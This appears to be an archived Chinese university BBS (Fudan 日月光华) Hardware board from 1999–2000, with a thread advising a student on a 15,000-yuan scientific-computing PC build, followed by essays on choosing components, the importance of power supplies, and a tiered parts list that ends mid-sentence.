键盘 Acer 52M防水 120 键盘、鼠标用好点的 : 鼠标 罗技天貂(三键) 135 : 网卡 D-Link单 85 要不要100M的？ : Modern 金网霸56K内置 115 等拉了电话后用，外置就没必要了 : Hub D-Link 8口 345 留待以后再进来研究生用，4口多少钱？ : 音箱 导航者木质 88 呵呵，本人乐盲，作背景噪声用的 : 耳机 50 : 机箱 保利得7237 380 要必要买好的电源吗？ : 网线 150m 300 Hub-Hub就要100m : 打印机 HP 6Lpro 3150 这个老板用的，买Canon更便宜吧？ : total -------------------15900 16,000内老板估计不会反对 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.120.100.36] 发信人: lijiny (Kingdog), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Mon Oct 16 17:31:56 2000) , 转信 建议还是不要用小印巴的吧, unika 和 paradise的官司没完没了. 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 老板要给我买台机器，主要用于科学计算(数值模拟，解偏微分方程组)。 : 加一台激打，15,000元左右。 : 找了张华海的报价单，瞎配了一下，请各位大虾给拿个主意。 : 配件 型号 报价 说明 : CPU PIII800盒 2340 PIII850要3100，贵 : 内存 Kingmax 128M*2 2040 想买三星 256M ECC，要3100，值得吗？ : 硬盘 金钻四 40G 1970 IBM玻璃40G不知道要多少？ : 光驱 大白鲨 44× 440 钢机芯好吗？ : 主板 Intel 815E(含声卡) 1250 看到前面的“硬件行情”要1350，why? : 显卡 小影霸TNT2 32M 620 基本不玩游戏 : 显示器 Acer 78C 2350 跟Philips 107G比如何？ : 软驱 Sony 113 : 键盘 Acer 52M防水 120 键盘、鼠标用好点的 : 鼠标 罗技天貂(三键) 135 : 网卡 D-Link单 85 要不要100M的？ : Modern 金网霸56K内置 115 等拉了电话后用，外置就没必要了 : Hub D-Link 8口 345 留待以后再进来研究生用，4口多少钱？ : 音箱 导航者木质 88 呵呵，本人乐盲，作背景噪声用的 : 耳机 50 : 机箱 保利得7237 380 要必要买好的电源吗？ : 网线 150m 300 Hub-Hub就要100m : 打印机 HP 6Lpro 3150 这个老板用的，买Canon更便宜吧？ : total -------------------15900 16,000内老板估计不会反对 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.64.17.17] 发信人: zyc (水神绝对零度~~水恋花), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Mon Oct 16 20:32:36 2000) , 转信 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 老板要给我买台机器，主要用于科学计算(数值模拟，解偏微分方程组)。 : 加一台激打，15,000元左右。 : 找了张华海的报价单，瞎配了一下，请各位大虾给拿个主意。 : 配件 型号 报价 说明 : CPU PIII800盒 2340 PIII850要3100，贵 : 内存 Kingmax 128M*2 2040 想买三星 256M ECC，要3100，值得吗？ 值得。 : 硬盘 金钻四 40G 1970 IBM玻璃40G不知道要多少？ : 光驱 大白鲨 44× 440 钢机芯好吗？ : 主板 Intel 815E(含声卡) 1250 看到前面的“硬件行情”要1350，why? : 显卡 小影霸TNT2 32M 620 基本不玩游戏 : 显示器 Acer 78C 2350 跟Philips 107G比如何？ : 软驱 Sony 113 : 键盘 Acer 52M防水 120 键盘、鼠标用好点的 : 鼠标 罗技天貂(三键) 135 那建议都用Logitech的，键盘200不到一点，旋貂200多点。 : 网卡 D-Link单 85 要不要100M的？ : Modern 金网霸56K内置 115 等拉了电话后用，外置就没必要了 : Hub D-Link 8口 345 留待以后再进来研究生用，4口多少钱？ : 音箱 导航者木质 88 呵呵，本人乐盲，作背景噪声用的 : 耳机 50 : 机箱 保利得7237 380 要必要买好的电源吗？ 当然要，稳定性很重要的。 : 网线 150m 300 Hub-Hub就要100m : 打印机 HP 6Lpro 3150 这个老板用的，买Canon更便宜吧？ 激光打印机HP绝对是老大。 : total -------------------15900 16,000内老板估计不会反对 -- 坐在如山的尸骨上，她默默地为我倒了一杯酒，幸福微笑。 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.131] 发信人: Perseus (飞翔的火焰), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Mon Oct 16 20:49:55 2000) , 转信 【 在 mikecat (虎皮猫) 的大作中提到: 】 : 如果是我，宁可不买TNT2也要256MECC。如果你真的不打算配一台游戏机的话。 : 我认为TNT2纯属鸡肋。不如ATI All IN WONDER，后者带视频编辑 : 功能，有DVD回放，配合CDR可刻自己的VCD。。。 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 软回放也不差呀 至于VCD么？偶觉得还是用WME7做成wma来得好 -- 我要飞翔，无论地狱还是天堂..! Welcome to http://[5mfennivel[10m.isCool.net ________ ___ __ \_____ _____________________ ____ __________ __ /_/ /_ _ \__ ___/__ ___/_ _ \_ / / /__ ___/ _ ____/ / __/_ / _(__ ) / __// /_/ / _(__ ) /_/ \___/ /_/ /____/ \___/ \__,_/ /____/ ........ is ready! ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.137] 发信人: Perseus (飞翔的火焰), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Mon Oct 16 20:52:11 2000) , 转信 【 在 zyc (水神绝对零度~~水恋花) 的大作中提到: 】 : 值得。 : 那建议都用Logitech的，键盘200不到一点，旋貂200多点。 nonono, Logitech的低档键盘实在一般 ACER 52M的性能很好，手感极佳(偶家里的是52M，单位是Logitech) 另外，参加星际大赛的选手 80%以上用的是 Acer 52M, 其余是Logitech : 当然要，稳定性很重要的。 : 激光打印机HP绝对是老大。 -- 我要飞翔，无论地狱还是天堂..! Welcome to http://[5mfennivel[10m.isCool.net ________ ___ __ \_____ _____________________ ____ __________ __ /_/ /_ _ \__ ___/__ ___/_ _ \_ / / /__ ___/ _ ____/ / __/_ / _(__ ) / __// /_/ / _(__ ) /_/ \___/ /_/ /____/ \___/ \__,_/ /____/ ........ is ready! ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.137] 发信人: barium (三千溺水取一瓢), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 07:37:44 2000) , 转信 PII350+64M要算两天:) 本来想配双CPU的，听说好多软件不支持双CPU，只好作罢。 唉，游戏玩得很疯的时候没有好机器，机器好了不想玩游戏了:( 【 在 frankzhou (永不言老) 的大作中提到: 】 : 真是个畸形配置 : 反真不玩游戏,有必要买PIII800嘛 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.16.12.208] 发信人: barium (三千溺水取一瓢), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 07:38:06 2000) , 转信 那用那个牌子的好？ 【 在 syyes (小咸咸) 的大作中提到: 】 : 电源，机箱应该再好点 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.16.12.208] 发信人: barium (三千溺水取一瓢), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 07:51:35 2000) , 转信 【 在 mikecat (虎皮猫) 的大作中提到: 】 : 如果是我，宁可不买TNT2也要256MECC。如果你真的不打算配一台游戏机的话。 : 我认为TNT2纯属鸡肋。不如ATI All IN WONDER，后者带视频编辑 : 功能，有DVD回放，配合CDR可刻自己的VCD。。。 ATI All IN WONDER要1580，太奢侈了:) 如果买了HY 256MECC，从哪省下1000块来？降低CPU, 硬盘or显示器的配置？ -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.16.12.208] 发信人: relive (火鸟~~非梧不栖), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 08:03:48 2000) , 转信 科学计算如果没有ECC，算个几天几夜，突然内存出错了，就嘿嘿了 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : ATI All IN WONDER要1580，太奢侈了:) : 如果买了HY 256MECC，从哪省下1000块来？降低CPU, 硬盘or显示器的配置？ -- 宁可枝头抱香死，何曾吹落北风中？ ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.24.14.186] 发信人: binbinwolf (彬彬狼), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 09:28:12 2000) , 转信 硬盘用ibm的吧 显卡可以用ati的8m，tnt2如果不玩游戏没有什么用处 显示器换个samsung750s可以便宜近500 那么差的音响就不用打进单子了，送的都未必比它差 电源用的好一些是只得的 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 老板要给我买台机器，主要用于科学计算(数值模拟，解偏微分方程组)。 : 加一台激打，15,000元左右。 : 找了张华海的报价单，瞎配了一下，请各位大虾给拿个主意。 : 配件 型号 报价 说明 : CPU PIII800盒 2340 PIII850要3100，贵 : 内存 Kingmax 128M*2 2040 想买三星 256M ECC，要3100，值得吗？ : 硬盘 金钻四 40G 1970 IBM玻璃40G不知道要多少？ : 光驱 大白鲨 44× 440 钢机芯好吗？ : 主板 Intel 815E(含声卡) 1250 看到前面的“硬件行情”要1350，why? : 显卡 小影霸TNT2 32M 620 基本不玩游戏 : 显示器 Acer 78C 2350 跟Philips 107G比如何？ : 软驱 Sony 113 : 键盘 Acer 52M防水 120 键盘、鼠标用好点的 : 鼠标 罗技天貂(三键) 135 : 网卡 D-Link单 85 要不要100M的？ : Modern 金网霸56K内置 115 等拉了电话后用，外置就没必要了 : Hub D-Link 8口 345 留待以后再进来研究生用，4口多少钱？ : 音箱 导航者木质 88 呵呵，本人乐盲，作背景噪声用的 : 耳机 50 : 机箱 保利得7237 380 要必要买好的电源吗？ : 网线 150m 300 Hub-Hub就要100m : 打印机 HP 6Lpro 3150 这个老板用的，买Canon更便宜吧？ : total -------------------15900 16,000内老板估计不会反对 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.24.236.2] 发信人: blueline (心止即岸), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 11:06:48 2000) , 转信 当然只有那些外设了 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : ATI All IN WONDER要1580，太奢侈了:) : 如果买了HY 256MECC，从哪省下1000块来？降低CPU, 硬盘or显示器的配置？ -- 天空没有翅膀的痕迹，但鸟儿已飞过。 ——泰戈尔 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 61.129.24.232] 发信人: ceasar (optima), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 11:26:27 2000) , 转信 只有世纪之星比较好一点 299或399 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 那用那个牌子的好？ -- 爱酒无量, 爱色无胆, 爱财无路, 爱气无勇 此之谓 大丈夫 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.39.0.139] 发信人: Moomin (西门吹雪), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 15:43:02 2000) , 转信 用美格吧！ 嘎多的money! 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 老板要给我买台机器，主要用于科学计算(数值模拟，解偏微分方程组)。 : 加一台激打，15,000元左右。 : 找了张华海的报价单，瞎配了一下，请各位大虾给拿个主意。 : 配件 型号 报价 说明 : CPU PIII800盒 2340 PIII850要3100，贵 : 内存 Kingmax 128M*2 2040 想买三星 256M ECC，要3100，值得吗？ : 硬盘 金钻四 40G 1970 IBM玻璃40G不知道要多少？ : 光驱 大白鲨 44× 440 钢机芯好吗？ : 主板 Intel 815E(含声卡) 1250 看到前面的“硬件行情”要1350，why? : 显卡 小影霸TNT2 32M 620 基本不玩游戏 : 显示器 Acer 78C 2350 跟Philips 107G比如何？ : 软驱 Sony 113 : 键盘 Acer 52M防水 120 键盘、鼠标用好点的 : 鼠标 罗技天貂(三键) 135 : 网卡 D-Link单 85 要不要100M的？ : Modern 金网霸56K内置 115 等拉了电话后用，外置就没必要了 : Hub D-Link 8口 345 留待以后再进来研究生用，4口多少钱？ : 音箱 导航者木质 88 呵呵，本人乐盲，作背景噪声用的 : 耳机 50 : 机箱 保利得7237 380 要必要买好的电源吗？ : 网线 150m 300 Hub-Hub就要100m : 打印机 HP 6Lpro 3150 这个老板用的，买Canon更便宜吧？ : total -------------------15900 16,000内老板估计不会反对 -- ******************* *曾经沧海难为水, * * 除却巫山不是云!* ******************* ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.51.188.206] 发信人: Moomin (西门吹雪), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 15:44:51 2000) , 转信 讯嘉和耕升的都可以！ 【 在 lijiny (Kingdog) 的大作中提到: 】 : 建议还是不要用小印巴的吧, : unika 和 paradise的官司没完没了. -- ******************* *曾经沧海难为水, * * 除却巫山不是云!* ******************* ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.51.188.206] 发信人: Moomin (西门吹雪), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 15:49:00 2000) , 转信 世纪之星！ 【 在 barium (三千溺水取一瓢) 的大作中提到: 】 : 那用那个牌子的好？ -- ******************* *曾经沧海难为水, * * 除却巫山不是云!* ******************* ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.51.188.206] 发信人: blueline (心止即岸), 信区: Hardware 标 题: Re: 15K机器的配置 发信站: 日月光华站 (Tue Oct 17 16:11:52 2000) , 转信 你搞错了吧，根据他的要求，这点钱实在是不多。 合理的应该在20K左右吧。 【 在 Moomin (西门吹雪) 的大作中提到: 】 : 用美格吧！ : 嘎多的money! -- 天空没有翅膀的痕迹，但鸟儿已飞过。 ——泰戈尔 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 202.118.5.134] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 装机时挑选配件的思路 发信站: 日月光华站 (Thu Apr 29 20:22:37 1999) , 转信 (转自飞翔鸟，值得攒机的朋友仔细一读！) 对于大多数用户来说，挑选时常用的思路不外乎两种。一种就是 定下预算，然后在有限的预算范围内尽量挑选性价比高的零件，并努 力做到对各零配件的预算分配保持均衡。那些只有五千元预算来装一 台整机的用户唯有采用这种思路，我们可以称之为“量力而行，经济 实惠”型。如果预算限制不是那么紧的话，则可以采用另一种指导思 路，即大致设定一个上限，然后根据自己的实际需要和个人喜好挑选 零配件，除了可以突出某一方面性能外，还可以在条件允许时赶赶时 髦，体验一下最新的硬件设备，当然也需要注意保持各零配件之间的 性能大致相当，避免“头重脚轻”的现象。这种思路可以称为“按需 分配，各取所求”型。 当然，那些自认“骨灰级”的经济条件充裕的用户完全可以不受 各种限制，从显示器到键盘、鼠标尽管挑最贵的名牌零件即可。这种 想法则可以称为“不惜代价，只求名牌”型。笔者并不认为最昂贵的 名牌零件就能带来最佳的性能，但有一点可以肯定的是，选用名牌零 件的，在稳定性和兼容性方面基本上就不需要用户担心了，这一点在 初学者看来可能显得尤为诱人。 采用前两种思路装机的用户，还有一点必须注意的是一定要有明 确的目的性。在决定配件构成的时候应该冷静地考虑清楚，自己到底 想用这台电脑干些什么？是想玩最新的3D游戏呢，还是想上网遨游 呢，或是仅仅用来打字排版呢？一台仅数千元的电脑是难以做到面面 俱到、同时满足所有各方面需要的，唯有排定主次关系、有的放矢， 做到“把好钢用在刀刃上”，才能保证进行有效的投资，并获得最高 的回报。定下目标后，就可以根据实际需要决定预算如何分配了。例 如想玩最新的3D游戏的话，应该着重加强CPU、显卡和内存；想上网 的话，一只好“猫”（MODEM）是不可缺少的；而打字排版，只要考 虑内存和硬盘的容量即可。而对于那些采用第三种思路的用户来说， 在这一阶段几乎用不着担心什么，反正什么零件都挑最好的买，装好 机器后想干什么都行。 再看看实际挑选零配件时必须注意的几个要点。 首先是不要迷信报刊杂志的宣传，这是因为现在报刊杂志上的介 绍“水分”很多，很少有公正客观的。经常有一些性能平平的硬件产 品经过重重包装、媒体炒做后摇身一变就成了超越同类所有产品的划 时代“佳作”。此类事例不胜枚举，笔者就不再一一点明了。反正有 兴趣的读者到国内的个人硬件网站的讨论区转转，就能发现不少比较 客观的“吃亏受骗经验谈”（当然前提是站长还没被收买）。造成这 一现象的原因有很多，一方面有些撰稿人缺乏职业道德，既拿杂志社 的稿费，又赚硬件厂家的红包；而另一方面杂志社一般也比较喜欢容 易制造噱头的稿件；再加上作者和编辑人员的个人喜好也会对稿件造 成一定的影响，因此这类文章平时看来消遣还可以，真正到了自己要 挑选零件时是万万不可以轻信的。还有现在满天飞的各种评测数据也 没多大实际意义，用户最容易接受的就是所谓的“由中立的第三方进 行的”各种测试结果，但遗憾的是，即便真的是由中立的第三方进行 的测试，其结论也难以称得上公正客观。因为即使测试人本身不带有 倾向性，国内的诸多“XX工作组”、“XX实验室”受客观条件的限 制，也往往难以获得公正测试所需的全部设备，在此条件下测得的数 据的可靠性自然得打上个问号了。记得曾经有一次，国内的某硬件工 作组对当时的各种最新CPU（Socket7和Slot1的都有）进行了性能对 比测试，但在测试时，除了CPU和主板之外，所用的其他配置完全相 同，他们美其名曰是为了“公正客观”，但测试时所用的显卡居然是 国产的搭载Intel i740芯片的便宜货。笔者对i740并无不满，也没 有贬低国产显卡的意思，但使用i740芯片的显卡与Socket7主板兼容 性不好是人尽皆知的事实，使用它进行评测明显对Sockt7的CPU不 利，光凭这一点就足以否认那次测试的结论了。细心的读者可能会发 现，在不同的测试中，各种CPU性能的得分各不相同，众多评测者各 执己见，令观者无所适从。其实说白了，就是与CPU搭配的各种外设 的性能不一导致同一种CPU在不同的评测中表现不一。那些单纯检验 CPU运算能力的测试程序倒也罢了，在许多综合性的测试程序中，除 CPU外，其他设备也会在很大程度上影响测试结果。至于厂家公布的 性能参数就更不可信了，几乎可以肯定那是在对自家产品最有利的条 件下测得的最理想的数据。例如Cyrix的CPU采用PR值标称其性能， PR-233表示性能相当于Intel的Pentium 233（当然实际上Pentium 只到200为止），看Cyrix提供的测试数据，PR-233的性能的确高于 Intel的MMX Pentium 233，那么是不是就表示Cyrix的CPU比Intel 的CPU强了呢？答案是：No。因为仔细看看就会发现，在测试结果的 边上有一行小字注明测试中各CPU均用各厂家额定的工作频率驱动。 Intel的基于Socket7架构的CPU的额定外频都是66MHz，而Cyrix的 PR-233的外频则是75MHz，当外频提高时，内存、硬盘读写、总线传 输速率等都会提高，因此Cyrix明显占了便宜，真要进行公正对比的 话就应该把Intel的CPU也用外频75MHz驱动或是把Cyrix的CPU外频 降到66MHz，可那样一来，测试结果就要逆转了。要知道，其实 Intel的MMX Pentium也完全可以在75MHz的外频下稳定地工作，但 将外频超至75MHz后有可能导致一些外设无法稳定工作，因此Intel 将超频的选择权留给了用户，而换而言之就是Cyrix的CPU在设计阶 段就已经进行了带有一定风险的超频，其中的奥妙初学者往往难以分 辨，容易受骗上当。另外，最近被吹得天花乱坠的各种3D加速卡和支 持3D音效的声卡，所谓的画面如何华丽流畅，音效如何逼真感人，最 终都得靠用户自己去判断，切莫人云亦云。有条件的话在决定购买之 前先到商家那里亲身体验一下。 其次是抛弃“便宜没好货，好货不便宜”的传统观念。正如笔者 在上文中提到的，选购昂贵的名牌产品在装机时的确省心省力，但名 牌产品的实际性能未必就是最好的，至于性价比，名牌产品则可以说 是最差的。那么，名牌到底贵在哪里呢？首先，名牌产品所选用的电 子元件一般比较高档，这一点是大家公认的，其次名牌产品的成本中 广告宣传费用所占的比例较大，还有很大的一部分则是由于商家炒做 使价格居高不下。例如号称“超频王”的升技BH6主板，在国内的售 价曾高达1300元，而在国外的售价折合人民币不过700多到800元。 这中间的差价是如何产生的呢？除了我国对电子产品征收的关税税率 较高外，很大一部分是奸商炒做造成的。据笔者在国外的友人透露， 升技公司的日本总代理曾要求日本各地的分销商在零售时价格不得低 于升技公司决定的最低零售价以创造升技的“名牌形象”，否则就停 止供货。但分销商立刻转从美国进口更加廉价的美版BH6并以更低的 价格出售，一下就把BH6的售价给拉了下来，这一下升技的代理无可 奈何，只得默认分销商随意制定售价。我不知道升技在国内的代理是 否进行了类似的市场操作，但有一点可以肯定的是，如果他们这么做 了，国内的分销商由于无法直接从国外进口，恐怕只有乖乖就范，反 正最终吃亏的总是用户，商家只怕还乐得多赚钱呢。 再次是要争取掌握尽量多的最新资料。电脑硬件产品的价格一般 都有周期性的涨落，定下大致的购买日期后就要开始关心市场动态 了。除了靠自己勤跑腿，多逛电脑城外，还可以充分利用网上的各种 最新报价信息。掌握价格走势的变化规律后就可以避免一些不必要的 损失了。另外，值得关注的最新资料还包括各种由实际使用者介绍的 心得体会，此类资料在许多个人硬件主页上都有，至于资料是否客观 就得靠读者自己判断了。在这类资料里，最有价值的就是有关兼容性 的介绍，对初学者来说，兼容性有问题的硬件组合还是应该尽量避开 为妙。在收集资料的过程还应该争取尽量熟悉硬件设备的性能特征， 避免盲目投资和重复投资。举一个极端的例子，比如专业做3D设计的 用户买一块“巫毒2”对实际工作一点帮助也没有，尽管它在玩3D游 戏时的表现无人能及；而同样地，一个游戏玩家买一块专业级的OPEN GL加速卡对玩游戏也一样毫无帮助，尽管在专业级3D中它能发挥强劲 的实力。在决定购买前，用户应该冷静地考虑所要购买的硬件设备是 否与自己的需要相符并充分考虑预算是否允许。另外，现代的电脑变 化很快，三天两头推出一个新规格，从保护投资的角度来看，用户应 该尽量购买最新规格的以保证升级潜力，而不可贪小便宜买旧规格的 （旧式的往往便宜）。但所谓的新规格在制定之初肯定不完善，会存 在各种各样的问题，不适合初学者使用，这中间的取舍关系就要靠用 户多收集资料自己判断了。 还有对各零件的预算分配也有一些讲究，要分清主次，不要追求 所有的零件都一步到位。初学者往往对CPU、内存、硬盘、声卡、显 卡等经常升级换代的“热门”零配件比较重视（因为报刊杂志经常介 绍使大家耳熟能详）。其实真正应该重视的倒是显示器、音箱、鼠 标、键盘、机箱等难以轻易升级的比较“冷门”的零配件。笔者在97 年春天装了一台电脑，但到了98年秋天一看，除了显示器、音箱、键 盘、鼠标，其他零件已经全换了一遍了。当然一般的用户不会象笔者 这样频繁地升级，但实际上升级时的倾向是相同的。真正能做到一步 到位的用户并不多，那么在购买时就应该充分考虑将来的可升级性。 实际升级时，用户对CPU等很容易就下定决心，但对显示器之类的往 往会犹豫再三，难免会产生“还能凑合着用嘛⋯⋯”之类的想法，既 然如此，不妨在一开始就买比较好的，以保障将来对其他零配件升级 后仍能继续使用。其实挑选良好的显示器对保护我们的眼睛也是十分 重要的。而不论你的声卡有多好、多先进，如果音箱不好，一样发不 出好声音。至于挑选一个好的机箱不但在组装时比较省事，在之后的 维护、升级时也会轻松很多，另外机箱内置的电源性能好坏对系统的 稳定性也有着不可忽视的影响。同理，鼠标、键盘也是抠不得的，因 为用户在平时的使用中摸得最多的就是它们，正是它们构成了用户与 电脑沟通的人机界面。 另外，由于本书是面向初学者的，所以大家在挑选分销商时一定 要注意挑售后服务完善的（即使价格可能会比其他分销商贵一些）， 这样万一出了什么差错也有得补救。还有，应该尽量挑选懂技术的分 销商，因为不论分销商的价钱如何便宜，态度如何热情，如果连自己 卖出的零件都不熟悉，那么用户又怎么能指望他能提供到完善的售后 服务呢？ 最后，对于国内的装机用户来说，有一个不可避免的话题就是超 频。笔者本人也是一个超频用户，所以并不反对将电脑超频使用，但 笔者并不建议那些对硬件一知半解的初学者随意对电脑超频使用。因 为超频这一行为始终存在危险性，而且遇到障碍时没有一定知识的话 恐怕连问题出在哪里都分辨不出。所以笔者建议初学装机的用户们先 忍一忍想要超频的冲动，等自己对电脑硬件有了一定的了解后再动 手。如果尝试超频失败就应该立刻收手，千万不要蛮干。 飞翔鸟 LuckyMan 1999年4月28日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.2] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 组装计算机，什么最重要？ 发信站: 日月光华站 (Fri Jun 18 00:00:06 1999) , 转信 （电脑之家） cache@mail.huptt.zj.cn 个人选购散件，组装一台PC机，即所谓的Computer DIY拥有相当的客户群， 家庭应用，发烧友，专业设计，均对组装机情有独钟。组装PC，已走过了整整 十年之远，当初的PC组装机，吸引用户的是其低廉的价格，而现在，价格仅是 其中一部分，而更吸引用户的，是比品牌机更高的配置，更优异的性能。但 是，许多购机却又不熟悉配件市场的用户，在五花八门的配件面前，显得无所 适从，或听朋友介绍，或从媒体获取，而往往将精力放在显示卡，CPU，硬盘 的选择上，却忽视一样最重要的东西：机箱电源。许多商家在给客户填配置单 时，往往填写立式ATX机箱，或豪华ATX机箱等，而不作具体声明。为什么说 机箱电源最重要呢？首先，一台计算机除显示器外，所有部件均靠机箱内部的 电源供电，电源输出直流电的好坏，直接影响部件的质量，寿命及性能，就开 关电源的技术而言，应该说已经成熟，包括许多台湾电源厂家，也在大陆设有 工厂，一方面供应国际市场，另一方面也供应大陆市场，但是许多厂家面对竞 争的市场往往以减少元器件，如节省滤波电路装置，测温装置等，或采用低价 格的元器件，来降低成本提高市场的竞争力。而这样受害的却往往是用户。不 良的电源容易导致计算机下述问题： 一、 导致硬盘出现坏道或损坏；不好的电源易导致硬盘出现假坏道，这种故 障一般可通过软件修复。如果有用户碰到此类情况，首先是要检查的是电源。 在修复硬盘同时，解决之道是换一个安规电源。否则时间一久易出现永久损 坏，必须回厂家返修，如果你是计算机公司，发现客户返修硬盘故障较多的 话，亦要注意您公司使用的是何种品牌的电源，加以统计和分析。（当然，频 繁非正常的关机，也可能导致硬盘坏道） 二、 噪声介入：当您发就你的声卡噪声较大，而你购买的又是较好的声卡 时，就要注意你的电源。 三、 光驱读盘性能不好。如果你新配的计算机或新买的CD-ROM读盘不好，很 大的原因可能就是电源，而CD-ROM本身就是好好的。 四、 超频不稳定，有可能就是电源。 五、 显示屏上有水波纹，有可能能就是电源。 六、 主机莫名奇妙地重新启动，有可能是电源。 七、 安装Windows经常出错，.CAB解不开，有可能是电源。 既然电源有如此重要，那么如何识别好的电源呢？一是看电源线路板的做工， 好的电源，线路板焊点、器件均同差的相比有较大的差距；好的电源都有滤波 装置，差的则没有，这点也很容看出。二是看品牌和标牌。市场上较好的电源 有华硕安规电源、顺新安规电源和099安规电源。安规电源加上机箱由于成本 较高一般均在350元以上，（杭州市场零售：华硕230W 500元；顺新200W 350 元；099 230W 590元），其中数顺新机箱加安规电源有最好的性价比，已经 被广大客户所接受。其它的安规电源和机箱因价格较高，市场份额会少些，随 着客户对电源的认识不断提高，安规电源会被大多数客户可认可，而低价格的 普通电源则会慢慢失去市场份额。 也许有人要问：为什么300多块的机箱只有200W？200W 的电源够了吗？的 确，有的机箱开价200多块，却标了300W 甚至350W，但它们是不足瓦的！也 就是说它们的功率达不到所标的瓦数，（就象某些有源音箱标了150W，而实际 功率却只有十几瓦，君不见价高千元的功放的功率标称也只有150W x 2）， 而所有的安规电源都是足瓦的！有足够的功率余量！ 一般的用户只有一个硬盘，一个光驱，显示器是单独接电源的，200W的电源足 够了。（除非你要接更多的硬盘、光驱或CPU..。那自当别论，有一批给服务 器用的安规电源适合你，价格可不菲哟，单买300瓦的电源要500元左右，还 要定货） 在杭州，已有不少计算机公司有安规电源，有时碰上疑难杂症时，首先换上安 规电源以排除电源原因产生的故障，然后考虑其它原因。但是，在兼容机市场 上有些客户单单从价格考虑往往选择其他廉价电源，最后产生一些莫名其妙的 故障。而在品牌机当中几乎没有这种情况，因为他们全选择安规电源。所以 说，好的电源是兼容机的安全卫士。 本人做电脑一行已不少年头，曾碰到过很多计算机由于电源问题而产生的形形 色色的故障，当然也不能说安规电源一定不会出问题（航天飞机也要往下掉 呢），但用了安规电源后的确故障率下降了很多。以上仅代表我的个人观点， 供大家参考。 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.195] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: bbsboy (小网虫), 信区: Hardware 标 题: DIY配置推荐 发信站: 日月光华站 (Thu May 4 12:41:51 2000) , 转信 在购买电脑之前，首先要想明白一个问题：我买这台电脑主要是做什么？ 电脑不是无所不能的，采用不同的配件搭配出来的电脑会在不同的地方有特长。世 上没有十全十美的东西，自然也没有面面俱到、样样出色的电脑。如何利用有限的资金 使得选购的配件组合起来可以最大限度的满足自己的使用需求，这也是DIY的精神的一部 分。 电脑配件虽然是一件一件购买的，但是可以按照对性能的影响分为三个模块。 1：外部模块（注意不是外设）： 可以说是对专项性能影响较小的模块。包括键盘、鼠标、机箱、电源、光驱和软驱 。无论需求方向是什么，这些配件的变化不会太大。 2：性能模块： 这些是计算机的核心部分。他们的变化直接影响电脑系统的性能，而针对不同的需 求，他们的选择也最具变化。这个模块包括，主板，CPU，显示卡，硬盘、内存。 3：显示器： 这是一个比较特殊的，而且十分重要的模块，因此单独讨论 下面我就按照这些模块来推荐一些近期市场上比较出色的配件。 　 一：外部模块配件： 这些配件在选择是最主要考虑的是价格因素 那么我们就按照高中低三个档次来推荐 　 低端 中端 高端 键盘 ACER 41B 75 ACER 52M 110 罗技人体工程学 350 鼠标 双飞燕4D 60 联想网鼠（旋貂） 80 逻辑银貂 280 机箱 爱国者3101 220 银河ATX 350 ST 世纪之星黄金版 650 软驱 三星 110 三星 110 三星 110 光驱 LEO 32X 300 Acer 40Xcd-rom 410 松下 5X DVD 750 Modem ECOM HSF 200 ECOM HSF 200 DIAMOND速霸 外置 600 总计 965 1260 2740 键盘： Acer 41B，这款键盘实在是低价位键盘中的佼佼者，弹性非常好，力度适中。在同 样价位的键盘中很难得。75元的价格更是让人感觉物有所值。Acer 